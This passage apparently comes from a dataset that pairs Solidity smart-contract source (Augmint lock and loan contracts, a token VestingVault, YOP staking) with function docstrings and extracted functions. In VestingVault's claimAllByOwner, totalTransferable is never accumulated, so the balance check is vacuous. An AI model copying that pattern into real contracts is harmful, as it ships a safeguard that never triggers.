KPIsAdjusted(totalLoanAmountAdjustment, totalLockedAmountAdjustment); } /* to allow upgrades of InterestEarnedAccount and AugmintReserves contracts. */ function setSystemContracts(InterestEarnedAccount newInterestEarnedAccount, AugmintReserves newAugmintReserves) external restrict("StabilityBoard") { interestEarnedAccount = newInterestEarnedAccount; augmintReserves = newAugmintReserves; emit SystemContractsChanged(newInterestEarnedAccount, newAugmintReserves); } /* User can request to convert their tokens from older AugmintToken versions in 1:1 transferNotification is called from AugmintToken's transferAndNotify Flow for converting old tokens: 1) user calls old token contract's transferAndNotify with the amount to convert, addressing the new MonetarySupervisor Contract 2) transferAndNotify transfers user's old tokens to the current MonetarySupervisor contract's address 3) transferAndNotify calls MonetarySupervisor.transferNotification 4) MonetarySupervisor checks if old AugmintToken is permitted 5) MonetarySupervisor issues new tokens to user's account in current AugmintToken 6) MonetarySupervisor burns old tokens from own balance */ function transferNotification(address from, uint amount, uint /* data, not used */ ) external { AugmintTokenInterface legacyToken = AugmintTokenInterface(msg.sender); require(acceptedLegacyAugmintTokens[legacyToken], "msg.sender must be allowed in acceptedLegacyAugmintTokens"); legacyToken.burn(amount); augmintToken.issueTo(from, amount); emit LegacyTokenConverted(msg.sender, from, amount); } function getLoanToDepositRatio() external view returns (uint loanToDepositRatio) { loanToDepositRatio = totalLockedAmount == 0 ? 0 : totalLockedAmount.mul(PERCENT_100).div(totalLoanAmount); } /* Helper function for UI. Returns max lock amount based on minLockAmount, interestPt, using LTD params & interestEarnedAccount balance */ function getMaxLockAmount(uint minLockAmount, uint interestPt) external view returns (uint maxLock) { uint allowedByEarning = augmintToken.balanceOf(address(interestEarnedAccount)).mul(PERCENT_100).div(interestPt); uint allowedByLtd = getMaxLockAmountAllowedByLtd(); maxLock = allowedByEarning < allowedByLtd ? allowedByEarning : allowedByLtd; maxLock = maxLock < minLockAmount ? 0 : maxLock; } /* Helper function for UI. Returns max loan amount based on minLoanAmont using LTD params */ function getMaxLoanAmount(uint minLoanAmount) external view returns (uint maxLoan) { uint allowedByLtd = getMaxLoanAmountAllowedByLtd(); maxLoan = allowedByLtd < minLoanAmount ? 0 : allowedByLtd; } /* returns maximum lockable token amount allowed by LTD params. */ function getMaxLockAmountAllowedByLtd() public view returns(uint maxLockByLtd) { uint allowedByLtdDifferencePt = totalLoanAmount.mul(PERCENT_100).div(PERCENT_100 .sub(ltdParams.lockDifferenceLimit)); allowedByLtdDifferencePt = totalLockedAmount >= allowedByLtdDifferencePt ? 0 : allowedByLtdDifferencePt.sub(totalLockedAmount); uint allowedByLtdDifferenceAmount = totalLockedAmount >= totalLoanAmount.add(ltdParams.allowedDifferenceAmount) ? 0 : totalLoanAmount.add(ltdParams.allowedDifferenceAmount).sub(totalLockedAmount); maxLockByLtd = allowedByLtdDifferencePt > allowedByLtdDifferenceAmount ? allowedByLtdDifferencePt : allowedByLtdDifferenceAmount; } /* returns maximum borrowable token amount allowed by LTD params */ function getMaxLoanAmountAllowedByLtd() public view returns(uint maxLoanByLtd) { uint allowedByLtdDifferencePt = totalLockedAmount.mul(ltdParams.loanDifferenceLimit.add(PERCENT_100)) .div(PERCENT_100); allowedByLtdDifferencePt = totalLoanAmount >= allowedByLtdDifferencePt ? 0 : allowedByLtdDifferencePt.sub(totalLoanAmount); uint allowedByLtdDifferenceAmount = totalLoanAmount >= totalLockedAmount.add(ltdParams.allowedDifferenceAmount) ? 0 : totalLockedAmount.add(ltdParams.allowedDifferenceAmount).sub(totalLoanAmount); maxLoanByLtd = allowedByLtdDifferencePt > allowedByLtdDifferenceAmount ? allowedByLtdDifferencePt : allowedByLtdDifferenceAmount; } } contract Locker is Restricted, TokenReceiver { using SafeMath for uint256; uint public constant CHUNK_SIZE = 100; event NewLockProduct(uint32 indexed lockProductId, uint32 perTermInterest, uint32 durationInSecs, uint32 minimumLockAmount, bool isActive); event LockProductActiveChange(uint32 indexed lockProductId, bool newActiveState); // NB: amountLocked includes the original amount, plus interest event NewLock(address indexed lockOwner, uint lockId, uint amountLocked, uint interestEarned, uint40 lockedUntil, uint32 perTermInterest, uint32 durationInSecs); event LockReleased(address indexed lockOwner, uint lockId); event MonetarySupervisorChanged(MonetarySupervisor newMonetarySupervisor); struct LockProduct { // perTermInterest is in millionths (i.e. 1,000,000 = 100%): uint32 perTermInterest; uint32 durationInSecs; uint32 minimumLockAmount; bool isActive; } /* NB: we don't need to store lock parameters because lockProducts can't be altered (only disabled/enabled) */ struct Lock { uint amountLocked; address owner; uint32 productId; uint40 lockedUntil; bool isActive; } AugmintTokenInterface public augmintToken; MonetarySupervisor public monetarySupervisor; LockProduct[] public lockProducts; Lock[] public locks; // lock ids for an account mapping(address => uint[]) public accountLocks; constructor(address permissionGranterContract, AugmintTokenInterface _augmintToken, MonetarySupervisor _monetarySupervisor) public Restricted(permissionGranterContract) { augmintToken = _augmintToken; monetarySupervisor = _monetarySupervisor; } function addLockProduct(uint32 perTermInterest, uint32 durationInSecs, uint32 minimumLockAmount, bool isActive) external restrict("StabilityBoard") { uint _newLockProductId = lockProducts.push( LockProduct(perTermInterest, durationInSecs, minimumLockAmount, isActive)) - 1; uint32 newLockProductId = uint32(_newLockProductId); require(newLockProductId == _newLockProductId, "lockProduct overflow"); emit NewLockProduct(newLockProductId, perTermInterest, durationInSecs, minimumLockAmount, isActive); } function setLockProductActiveState(uint32 lockProductId, bool isActive) external restrict("StabilityBoard") { // next line would revert but require to emit reason: require(lockProductId < lockProducts.length, "invalid lockProductId"); lockProducts[lockProductId].isActive = isActive; emit LockProductActiveChange(lockProductId, isActive); } /* lock funds, called from AugmintToken's transferAndNotify Flow for locking tokens: 1) user calls token contract's transferAndNotify lockProductId passed in data arg 2) transferAndNotify transfers tokens to the Lock contract 3) transferAndNotify calls Lock.transferNotification with lockProductId */ function transferNotification(address from, uint256 amountToLock, uint _lockProductId) external { require(msg.sender == address(augmintToken), "msg.sender must be augmintToken"); // next line would revert but require to emit reason: require(lockProductId < lockProducts.length, "invalid lockProductId"); uint32 lockProductId = uint32(_lockProductId); require(lockProductId == _lockProductId, "lockProductId overflow"); /* TODO: make data arg generic bytes uint productId; assembly { // solhint-disable-line no-inline-assembly productId := mload(data) } */ _createLock(lockProductId, from, amountToLock); } function releaseFunds(uint lockId) external { // next line would revert but require to emit reason: require(lockId < locks.length, "invalid lockId"); Lock storage lock = locks[lockId]; LockProduct storage lockProduct = lockProducts[lock.productId]; require(lock.isActive, "lock must be in active state"); require(now >= lock.lockedUntil, "current time must be later than lockedUntil"); lock.isActive = false; uint interestEarned = calculateInterest(lockProduct.perTermInterest, lock.amountLocked); monetarySupervisor.releaseFundsNotification(lock.amountLocked); // to maintain totalLockAmount augmintToken.transferWithNarrative(lock.owner, lock.amountLocked.add(interestEarned), "Funds released from lock"); emit LockReleased(lock.owner, lockId); } function setMonetarySupervisor(MonetarySupervisor newMonetarySupervisor) external restrict("StabilityBoard") { monetarySupervisor = newMonetarySupervisor; emit MonetarySupervisorChanged(newMonetarySupervisor); } function getLockProductCount() external view returns (uint) { return lockProducts.length; } // returns 20 lock products starting from some offset // lock products are encoded as [ perTermInterest, durationInSecs, minimumLockAmount, maxLockAmount, isActive ] function getLockProducts(uint offset) external view returns (uint[5][CHUNK_SIZE] response) { for (uint8 i = 0; i < CHUNK_SIZE; i++) { if (offset + i >= lockProducts.length) { break; } LockProduct storage lockProduct = lockProducts[offset + i]; response[i] = [ lockProduct.perTermInterest, lockProduct.durationInSecs, lockProduct.minimumLockAmount, monetarySupervisor.getMaxLockAmount(lockProduct.minimumLockAmount, lockProduct.perTermInterest), lockProduct.isActive ? 1 : 0 ]; } } function getLockCount() external view returns (uint) { return locks.length; } function getLockCountForAddress(address lockOwner) external view returns (uint) { return accountLocks[lockOwner].length; } // returns CHUNK_SIZE locks starting from some offset // lock products are encoded as // [lockId, owner, amountLocked, interestEarned, lockedUntil, perTermInterest, durationInSecs, isActive ] // NB: perTermInterest is in millionths (i.e. 1,000,000 = 100%): function getLocks(uint offset) external view returns (uint[8][CHUNK_SIZE] response) { for (uint16 i = 0; i < CHUNK_SIZE; i++) { if (offset + i >= locks.length) { break; } Lock storage lock = locks[offset + i]; LockProduct storage lockProduct = lockProducts[lock.productId]; uint interestEarned = calculateInterest(lockProduct.perTermInterest, lock.amountLocked); response[i] = [uint(offset + i), uint(lock.owner), lock.amountLocked, interestEarned, lock.lockedUntil, lockProduct.perTermInterest, lockProduct.durationInSecs, lock.isActive ? 1 : 0]; } } // returns CHUNK_SIZE locks of a given account, starting from some offset // lock products are encoded as // [lockId, amountLocked, interestEarned, lockedUntil, perTermInterest, durationInSecs, isActive ] function getLocksForAddress(address lockOwner, uint offset) external view returns (uint[7][CHUNK_SIZE] response) { uint[] storage locksForAddress = accountLocks[lockOwner]; for (uint16 i = 0; i < CHUNK_SIZE; i++) { if (offset + i >= locksForAddress.length) { break; } Lock storage lock = locks[locksForAddress[offset + i]]; LockProduct storage lockProduct = lockProducts[lock.productId]; uint interestEarned = calculateInterest(lockProduct.perTermInterest, lock.amountLocked); response[i] = [ locksForAddress[offset + i], lock.amountLocked, interestEarned, lock.lockedUntil, lockProduct.perTermInterest, lockProduct.durationInSecs, lock.isActive ? 1 : 0 ]; } } function calculateInterest(uint32 perTermInterest, uint amountToLock) public pure returns (uint interestEarned) { interestEarned = amountToLock.mul(perTermInterest).div(1000000); } // Internal function. assumes amountToLock is already transferred to this Lock contract function _createLock(uint32 lockProductId, address lockOwner, uint amountToLock) internal returns(uint lockId) { LockProduct storage lockProduct = lockProducts[lockProductId]; require(lockProduct.isActive, "lockProduct must be in active state"); require(amountToLock >= lockProduct.minimumLockAmount, "amountToLock must be >= minimumLockAmount"); uint interestEarned = calculateInterest(lockProduct.perTermInterest, amountToLock); uint expiration = now.add(lockProduct.durationInSecs); uint40 lockedUntil = uint40(expiration); require(lockedUntil == expiration, "lockedUntil overflow"); lockId = locks.push(Lock(amountToLock, lockOwner, lockProductId, lockedUntil, true)) - 1; accountLocks[lockOwner].push(lockId); monetarySupervisor.requestInterest(amountToLock, interestEarned); // update KPIs & transfer interest here emit NewLock(lockOwner, lockId, amountToLock, interestEarned, lockedUntil, lockProduct.perTermInterest, lockProduct.durationInSecs); } }
returns maximum borrowable token amount allowed by LTD params /
function getMaxLoanAmountAllowedByLtd() public view returns(uint maxLoanByLtd) { uint allowedByLtdDifferencePt = totalLockedAmount.mul(ltdParams.loanDifferenceLimit.add(PERCENT_100)) .div(PERCENT_100); allowedByLtdDifferencePt = totalLoanAmount >= allowedByLtdDifferencePt ? 0 : allowedByLtdDifferencePt.sub(totalLoanAmount); uint allowedByLtdDifferenceAmount = totalLoanAmount >= totalLockedAmount.add(ltdParams.allowedDifferenceAmount) ? 0 : totalLockedAmount.add(ltdParams.allowedDifferenceAmount).sub(totalLoanAmount); maxLoanByLtd = allowedByLtdDifferencePt > allowedByLtdDifferenceAmount ? allowedByLtdDifferencePt : allowedByLtdDifferenceAmount; }
978,546
pragma solidity 0.5.4; import "./lib/Ownable.sol"; import "./lib/SafeMath.sol"; /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Contract that will hold vested tokens; * @notice Tokens for vested contributors will be hold in this contract and token holders * will claim their tokens according to their own vesting timelines. * Copyright 2021 */ contract VestingVault is Ownable { using SafeMath for uint256; struct Grant { uint value; uint vestingStart; uint vestingCliff; uint vestingDuration; uint[] scheduleTimes; uint[] scheduleValues; uint level; // 1: frequency, 2: schedules uint transferred; } IERC20 public token; mapping(address => Grant) public grants; uint public totalVestedTokens; // array of vested users addresses address[] public vestedAddresses; bool public locked; event NewGrant (address _to, uint _amount, uint _start, uint _duration, uint _cliff, uint[] _scheduleTimes, uint[] _scheduleAmounts, uint _level); event NewRelease(address _holder, uint _amount); event WithdrawAll(uint _amount); event LockedVault(); modifier isOpen() { require(locked == false, "Vault is already locked"); _; } constructor (address _token) public { require(address(_token) != address(0), "Token address should not be zero"); token = IERC20(_token); locked = false; } /** * @dev updateToken update base token * @notice this will be done by only owner any time */ function updateToken(address _token) public onlyOwner { require(address(_token) != address(0), "Token address should not be zero"); token = IERC20(_token); } /** * @return address[] that represents vested addresses; */ function returnVestedAddresses() public view returns (address[] memory) { return vestedAddresses; } /** * @return grant that represents vested info for specific user; */ function returnGrantInfo(address _user) public view returns (uint, uint, uint, uint, uint[] memory, uint[] memory, uint, uint) { require(_user != address(0), "Address should not be zero"); Grant storage grant = grants[_user]; return (grant.value, grant.vestingStart, grant.vestingCliff, grant.vestingDuration, grant.scheduleTimes, grant.scheduleValues, grant.level, grant.transferred); } /** * @dev Add vested contributor information * @param _to Withdraw address that tokens will be sent * @param _value Amount to hold during vesting period * @param _start Unix epoch time that vesting starts from * @param _duration Seconds amount of vesting duration * @param _cliff Seconds amount of vesting cliffHi * @param _scheduleTimes Array of Unix epoch times for vesting schedules * @param _scheduleValues Array of Amount for vesting schedules * @param _level Indicator that will represent types of vesting * @return Int value that represents granted token amount */ function grant( address _to, uint _value, uint _start, uint _duration, uint _cliff, uint[] memory _scheduleTimes, uint[] memory _scheduleValues, uint _level) public onlyOwner isOpen returns (uint256) { require(_to != address(0), "Address should not be zero"); require(_level == 1 || _level == 2, "Invalid vesting level"); // make sure a single address can be granted tokens only once. require(grants[_to].value == 0, "Already added to vesting vault"); if (_level == 2) { require(_scheduleTimes.length == _scheduleValues.length, "Schedule Times and Values should be matched"); _value = 0; for (uint i = 0; i < _scheduleTimes.length; i++) { require(_scheduleTimes[i] > 0, "Seconds Amount of ScheduleTime should be greater than zero"); require(_scheduleValues[i] > 0, "Amount of ScheduleValue should be greater than zero"); if (i > 0) { require(_scheduleTimes[i] > _scheduleTimes[i - 1], "ScheduleTimes should be sorted by ASC"); } _value = _value.add(_scheduleValues[i]); } } require(_value > 0, "Vested amount should be greater than zero"); grants[_to] = Grant({ value : _value, vestingStart : _start, vestingDuration : _duration, vestingCliff : _cliff, scheduleTimes : _scheduleTimes, scheduleValues : _scheduleValues, level : _level, transferred : 0 }); vestedAddresses.push(_to); emit NewGrant(_to, _value, _start, _duration, _cliff, _scheduleTimes, _scheduleValues, _level); return _value; } /** * @dev Get token amount for a token holder available to transfer at specific time * @param _holder Address that represents holder's withdraw address * @param _time Unix epoch time at the moment * @return Int value that represents token amount that is available to release at the moment */ function transferableTokens(address _holder, uint256 _time) public view returns (uint256) { Grant storage grantInfo = grants[_holder]; if (grantInfo.value == 0) { return 0; } return calculateTransferableTokens(grantInfo, _time); } /** * @dev Internal function to calculate available amount at specific time * @param _grant Grant that represents holder's vesting info * @param _time Unix epoch time at the moment * @return Int value that represents available vested token amount */ function calculateTransferableTokens(Grant memory _grant, uint256 _time) private pure returns (uint256) { uint totalVestedAmount = _grant.value; uint totalAvailableVestedAmount = 0; if (_grant.level == 1) { if (_time < _grant.vestingCliff.add(_grant.vestingStart)) { return 0; } else if (_time >= _grant.vestingStart.add(_grant.vestingDuration)) { return _grant.value; } else { totalAvailableVestedAmount = totalVestedAmount.mul(_time.sub(_grant.vestingStart)).div(_grant.vestingDuration); } } else { if (_time < _grant.scheduleTimes[0]) { return 0; } else if (_time >= _grant.scheduleTimes[_grant.scheduleTimes.length - 1]) { return _grant.value; } else { for (uint i = 0; i < _grant.scheduleTimes.length; i++) { if (_grant.scheduleTimes[i] <= _time) { totalAvailableVestedAmount = totalAvailableVestedAmount.add(_grant.scheduleValues[i]); } else { break; } } } } return totalAvailableVestedAmount; } /** * @dev Claim vested token * @param _beneficiary address that should get the available token * @notice this will be eligible after vesting start + cliff or schedule times */ function claim(address _beneficiary) public { address beneficiary = _beneficiary; Grant storage grantInfo = grants[beneficiary]; require(grantInfo.value > 0, "Grant does not exist"); uint256 vested = calculateTransferableTokens(grantInfo, now); require(vested > 0, "There is no vested tokens"); uint256 transferable = vested.sub(grantInfo.transferred); require(transferable > 0, "There is no remaining balance for this address"); require(token.balanceOf(address(this)) >= transferable, "Contract Balance is insufficient"); grantInfo.transferred = grantInfo.transferred.add(transferable); token.transfer(beneficiary, transferable); emit NewRelease(beneficiary, transferable); } /** * @dev Claim vested token * @notice this will be eligible after vesting start + cliff or schedule times */ function claim() public { address beneficiary = msg.sender; Grant storage grantInfo = grants[beneficiary]; require(grantInfo.value > 0, "Grant does not exist"); uint256 vested = calculateTransferableTokens(grantInfo, now); require(vested > 0, "There is no vested tokens"); uint256 transferable = vested.sub(grantInfo.transferred); require(transferable > 0, "There is no remaining balance for this address"); require(token.balanceOf(address(this)) >= transferable, "Contract Balance is insufficient"); grantInfo.transferred = grantInfo.transferred.add(transferable); token.transfer(beneficiary, transferable); emit NewRelease(beneficiary, transferable); } /** * @dev Claim all vested tokens for all users by an owner * @notice this will be eligible after vesting start + cliff or schedule times */ function claimAllByOwner(address[] memory _vestedAddresses) public onlyOwner { require(_vestedAddresses.length > 0, "Empty vested addresses"); uint256 totalTransferable = 0; for (uint i = 0; i < _vestedAddresses.length; i++) { Grant storage grantInfo = grants[_vestedAddresses[i]]; require(grantInfo.value > 0, "Grant does not exist"); uint256 vested = calculateTransferableTokens(grantInfo, now); require(vested > 0, "There is no vested tokens"); uint256 transferable = vested.sub(grantInfo.transferred); require(transferable > 0, "There is no remaining balance for this address"); } require(token.balanceOf(address(this)) >= totalTransferable, "Contract Balance is insufficient"); for (uint i = 0; i < _vestedAddresses.length; i++) { Grant storage grantInfo = grants[_vestedAddresses[i]]; require(grantInfo.value > 0, "Grant does not exist"); uint256 vested = calculateTransferableTokens(grantInfo, now); require(vested > 0, "There is no vested tokens"); uint256 transferable = vested.sub(grantInfo.transferred); require(transferable > 0, "There is no remaining balance for this address"); grantInfo.transferred = grantInfo.transferred.add(transferable); token.transfer(_vestedAddresses[i], transferable); emit NewRelease(_vestedAddresses[i], transferable); } } /** * @dev Function to withdraw remaining tokens; */ function withdraw() public onlyOwner { // finally withdraw all remaining tokens to owner uint amount = token.balanceOf(address(this)); token.transfer(owner, amount); emit WithdrawAll(amount); } /** * @dev Function to lock vault not to be able to alloc more */ function lockVault() public onlyOwner { // finally lock vault require(!locked); locked = true; emit LockedVault(); } }
Claim vested token this will be eligible after vesting start + cliff or schedule times/
function claim() public { address beneficiary = msg.sender; Grant storage grantInfo = grants[beneficiary]; require(grantInfo.value > 0, "Grant does not exist"); uint256 vested = calculateTransferableTokens(grantInfo, now); require(vested > 0, "There is no vested tokens"); uint256 transferable = vested.sub(grantInfo.transferred); require(transferable > 0, "There is no remaining balance for this address"); require(token.balanceOf(address(this)) >= transferable, "Contract Balance is insufficient"); grantInfo.transferred = grantInfo.transferred.add(transferable); token.transfer(beneficiary, transferable); emit NewRelease(beneficiary, transferable); }
14,035,569
// SPDX-License-Identifier: MIT pragma solidity =0.8.9; import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165CheckerUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./Staking.sol"; import "../interfaces/IVault.sol"; /// @dev Add a new stake function that will update the user's boost balance in selected vaults immediately after staking contract StakingV2 is IStakingV2, Staking, ReentrancyGuardUpgradeable { using ERC165CheckerUpgradeable for address; using SafeERC20Upgradeable for IERC20Upgradeable; event StakeExtended(uint256 indexed _tokenId, uint248 indexed _newAmount, uint8 _newlockPeriod, address[] _vaults); /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} function initialize( string memory _name, string memory _symbol, address _governance, address _gatekeeper, address _yopRewards, string memory _uri, string memory _contractURI, address _owner, address _accessControlManager ) external virtual override initializer { __ReentrancyGuard_init(); __Staking_init( _name, _symbol, _governance, _gatekeeper, _yopRewards, _uri, _contractURI, _owner, _accessControlManager ); } /// @notice Return the total number of stakes created so far function totalSupply() external view returns (uint256) { return stakes.length; } /// @notice Same as `stake(uint248,uint8)`, but will take an array of vault addresses as extra parameter. /// If the vault addresses are provided, the user's boosted balance in these vaults will be updated immediately after staking to take into account their latest staking positions. /// @param _amount The amount of YOP tokens to stake /// @param _lockPeriod The locking period of the stake, in months /// @param _vaultsToBoost The vaults that the user's boosted balance should be updated after staking /// @return The id of the NFT token that is also the id of the stake function stakeAndBoost( uint248 _amount, uint8 _lockPeriod, address[] calldata _vaultsToBoost ) external nonReentrant returns (uint256) { _notPaused(); uint256 tokenId = _mintStake(_amount, _lockPeriod, _msgSender()); _updateVaults(_vaultsToBoost, _msgSender()); return tokenId; } /// @notice Stake the YOP tokens on behalf of another user. /// @param _amount The amount of YOP tokens to stake /// @param _lockPeriod The locking period of the stake, in months /// @param _to The user to send the NFT to /// @return The id of the NFT token that is also the id of the stake function stakeForUser( uint248 _amount, uint8 _lockPeriod, address _to ) external returns (uint256) { _notPaused(); return _mintStake(_amount, _lockPeriod, _to); } /// @notice Stake the YOP tokens on behalf of another user and boost the user's balance in the given vaults /// @param _amount The amount of YOP tokens to stake /// @param _lockPeriod The locking period of the stake, in months /// @param _to The user to send the NFT to /// @param _vaultsToBoost The vaults that the user's boosted balance should be updated after staking /// @return The id of the NFT token that is also the id of the stake function stakeAndBoostForUser( uint248 _amount, uint8 _lockPeriod, address _to, address[] calldata _vaultsToBoost ) external nonReentrant returns (uint256) { _notPaused(); uint256 tokenId = _mintStake(_amount, _lockPeriod, _to); _updateVaults(_vaultsToBoost, _to); return tokenId; } /// @notice Exit a single unlocked staking position, claim remaining rewards associated with the stake, and adjust the boost values in vaults /// @param _stakeId The id of the unlocked staking positon /// @param _to The recipient address that will receive the YOP tokens /// @param _vaultsToBoost The list of vaults that will have the boost updated function unstakeSingleAndBoost( uint256 _stakeId, address _to, address[] calldata _vaultsToBoost ) external nonReentrant { _notPaused(); _burnSingle(_stakeId, _to); _updateVaults(_vaultsToBoost, _msgSender()); } /// @notice Exit all unlocked staking position, claim all remaining rewards associated with the stakes, and adjust the boost values in vaults /// @param _to The recipient address that will receive the YOP tokens /// @param _vaultsToBoost The list of vaults that will have the boost updated function unstakeAllAndBoost(address _to, address[] calldata _vaultsToBoost) external nonReentrant { _notPaused(); _burnAll(_to); _updateVaults(_vaultsToBoost, _msgSender()); } /// @notice Increase the staking amount or lock period for a single stake position. Update the boosted balance in the list of vaults. /// @param _stakeId The id of the stake /// @param _additionalDuration The additional lockup months to add to the stake. New lockup months can not exceed maximum value. /// @param _additionalAmount Additional YOP amounts to add to the stake. /// @param _vaultsToUpdate The list of vaults that will have the boost updated for the owner of the stake function extendStake( uint256 _stakeId, uint8 _additionalDuration, uint248 _additionalAmount, address[] calldata _vaultsToUpdate ) external nonReentrant { _notPaused(); require(_additionalAmount > 0 || _additionalDuration > 0, "!parameters"); Stake storage stake = stakes[_stakeId]; require(owners[_stakeId] == _msgSender(), "!owner"); uint8 newLockPeriod = stake.lockPeriod; if (_additionalDuration > 0) { newLockPeriod = stake.lockPeriod + _additionalDuration; require(newLockPeriod <= MAX_LOCK_PERIOD, "!duration"); } uint248 newAmount = stake.amount; if (_additionalAmount > 0) { require(IERC20Upgradeable(_getYOPAddress()).balanceOf(_msgSender()) >= _additionalAmount, "!balance"); newAmount = stake.amount + _additionalAmount; require(newAmount >= minStakeAmount, "!amount"); } uint256 newTotalWorkingSupply = (totalWorkingSupply + (newAmount * newLockPeriod - stake.amount * stake.lockPeriod)); require(newTotalWorkingSupply <= stakingLimit, "limit"); IYOPRewards(yopRewards).calculateStakingRewards(_stakeId); if (_additionalDuration > 0) { stake.lockPeriod = newLockPeriod; } if (_additionalAmount > 0) { IERC20Upgradeable(_getYOPAddress()).safeTransferFrom(_msgSender(), address(this), _additionalAmount); stake.amount = newAmount; } totalWorkingSupply = newTotalWorkingSupply; _updateVaults(_vaultsToUpdate, _msgSender()); emit StakeExtended(_stakeId, newAmount, newLockPeriod, _vaultsToUpdate); } /// @notice Claim the rewards for all the given stakes, and extend each stake by the amount of rewards collected. /// @dev For each stake, this will basically claim the rewards for that stake, and add the rewards to the amount of that stake. No changes to the stake duration. /// This is built with automation in mind so that we can build an auto-compounding feature for users if we want. However, users can call this to claim & topup their existing stakes too. /// @param _stakeIds The ids of the stakes that will be compounded function compoundForStaking(uint256[] calldata _stakeIds) external { _notPaused(); uint256 totalIncreasedSupply = _compoundForStakes(_stakeIds); totalWorkingSupply += totalIncreasedSupply; } /// @notice Claim vault rewards for each user and top up a stake of that user. No changes to the duration of the stake. /// @dev This is built mainly for automation. /// @param _users List of user address to claim vault rewards from. /// @param _topupStakes The list of stakes to top up with the vault rewards. Each stake in the list should be owned by the address in the corresponding position in the `_users` list. /// E.g. `_users[0]` should own `_topupStakes[0]`, `_users[1]` should own `_topupStakes[1]` and so on. function compoundWithVaultRewards(address[] calldata _users, uint256[] calldata _topupStakes) external { _notPaused(); uint256 totalIncreasedSupply = _compoundWithVaultRewards(_users, _topupStakes); totalWorkingSupply += totalIncreasedSupply; } /// @notice Compound staking & vault rewards for the user in a single transaction, in a gas efficient way. /// Staking rewards will be claimed and added to each stake respectively. /// Vault rewards will be claimed and added to the given stake. /// @dev This is mainly to be called by the user, or a smart contract that will call this on a user's behalf. /// @param _user The user address /// @param _topupStakeId The stake id to add the vault rewards function compoundForUser(address _user, uint256 _topupStakeId) external { _notPaused(); require(owners[_topupStakeId] == _user, "!owner"); uint256[] memory stakeIds = stakesForAddress[_user]; uint256 totalIncreasedSupply = _compoundForStakes(stakeIds); address[] memory users = new address[](1); uint256[] memory topupStakes = new uint256[](1); users[0] = _user; topupStakes[0] = _topupStakeId; totalIncreasedSupply += _compoundWithVaultRewards(users, topupStakes); totalWorkingSupply += totalIncreasedSupply; } function _updateVaults(address[] calldata _vaultsToBoost, address _user) internal { for (uint256 i = 0; i < _vaultsToBoost.length; i++) { require(_vaultsToBoost[i].supportsInterface(type(IVault).interfaceId), "!vault interface"); if (IVault(_vaultsToBoost[i]).balanceOf(_user) > 0) { address[] memory users = new address[](1); users[0] = _user; IBoostedVault(_vaultsToBoost[i]).updateBoostedBalancesForUsers(users); } } } function _compoundForStakes(uint256[] memory _stakeIds) internal returns (uint256) { (, uint256[] memory rewardsAmount) = IYOPRewardsV2(yopRewards).claimRewardsForStakes(_stakeIds); uint256 totalIncreasedSupply; for (uint256 i = 0; i < _stakeIds.length; i++) { uint248 newAmount = uint248(stakes[_stakeIds[i]].amount + rewardsAmount[i]); stakes[_stakeIds[i]].amount = newAmount; totalIncreasedSupply += rewardsAmount[i] * stakes[_stakeIds[i]].lockPeriod; address[] memory vaults; emit StakeExtended(_stakeIds[i], newAmount, stakes[_stakeIds[i]].lockPeriod, vaults); } return totalIncreasedSupply; } function _compoundWithVaultRewards(address[] memory _users, uint256[] memory _topupStakes) internal returns (uint256) { (, uint256[] memory rewardsAmount) = IYOPRewardsV2(yopRewards).claimVaultRewardsForUsers(_users); uint256 totalIncreasedSupply; for (uint256 i = 0; i < _topupStakes.length; i++) { uint256 stakeId = _topupStakes[i]; uint248 newAmount = uint248(stakes[stakeId].amount + rewardsAmount[i]); require(owners[stakeId] == _users[i], "!owner"); stakes[stakeId].amount = newAmount; totalIncreasedSupply += rewardsAmount[i] * stakes[stakeId].lockPeriod; address[] memory vaults; emit StakeExtended(stakeId, newAmount, stakes[stakeId].lockPeriod, vaults); } return totalIncreasedSupply; } function _notPaused() internal view { require(!paused(), "Pausable: paused"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165CheckerUpgradeable { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165Upgradeable).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each 